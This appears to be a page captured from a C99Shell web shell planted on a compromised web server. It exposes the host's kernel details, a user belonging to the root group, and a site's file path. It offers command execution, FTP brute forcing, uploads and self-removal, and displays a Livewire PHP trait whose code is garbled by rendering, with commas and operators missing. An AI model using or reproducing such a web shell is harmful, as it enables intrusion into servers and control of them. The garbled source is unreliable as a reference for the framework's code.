!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/smabpro.picotech.app/public_html/vendor/livewire/livewire/src/Concerns/   drwxr-xr-x
Free 28.58 GB of 117.98 GB (24.23%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     InteractsWithProperties.php (3.22 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Livewire\Concerns;

use 
Illuminate\Database\Eloquent\Model;
use 
Livewire\Drawer\Utils;

trait 
InteractsWithProperties
{
    public function 
hasProperty($prop)
    {
        return 
property_exists($thisUtils::beforeFirstDot($prop));
    }

    public function 
getPropertyValue($name)
    {
        
$value $this->{Utils::beforeFirstDot($name)};

        if (
Utils::containsDots($name)) {
            return 
data_get($valueUtils::afterFirstDot($name));
        }

        return 
$value;
    }

    public function 
fill($values)
    {
        
$publicProperties array_keys($this->all());

        if (
$values instanceof Model) {
            
$values $values->toArray();
        }

        foreach (
$values as $key => $value) {
            if (
in_array(Utils::beforeFirstDot($key), $publicProperties)) {
                
data_set($this$key$value);
            }
        }
    }

    public function 
reset(...$properties)
    {
        
$properties count($properties) && is_array($properties[0])
            ? 
$properties[0]
            : 
$properties;

        
// Reset all
        
if (empty($properties)) {
            
$properties array_keys($this->all());
        }

        
$freshInstance = new static;

        foreach (
$properties as $property) {
            
$property str($property);

            
// Check if the property contains a dot which means it is actually on a nested object like a FormObject
            
if (str($property)->contains('.')) {
                
$propertyName $property->afterLast('.');
                
$objectName $property->beforeLast('.');

                
$object data_get($freshInstance$objectNamenull);

                if (
is_object($object)) {
                    
$isInitialized = (new \ReflectionProperty($object, (string) $propertyName))->isInitialized($object);
                } else {
                    
$isInitialized false;
                }
            } else {
                
$isInitialized = (new \ReflectionProperty($freshInstance, (string) $property))->isInitialized($freshInstance);
            }

            
// Handle resetting properties that are not initialized by default.
            
if (! $isInitialized) {
                
data_forget($this, (string) $property);
                continue;
            }

            
data_set($this$propertydata_get($freshInstance$property));
        }
    }

    protected function 
resetExcept(...$properties)
    {
        if (
count($properties) && is_array($properties[0])) {
            
$properties $properties[0];
        }

        
$keysToReset array_diff(array_keys($this->all()), $properties);

        
$this->reset($keysToReset);
    }

    public function 
only($properties)
    {
        
$results = [];

        foreach (
is_array($properties) ? $properties func_get_args() as $property) {
            
$results[$property] = $this->hasProperty($property) ? $this->getPropertyValue($property) : null;
        }

        return 
$results;
    }

    public function 
except($properties)
    {
        
$properties is_array($properties) ? $properties func_get_args();

        return 
array_diff_key($this->all(), array_flip($properties));
    }

    public function 
all()
    {
        return 
Utils::getPublicPropertiesDefinedOnSubclass($this);
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0041 ]--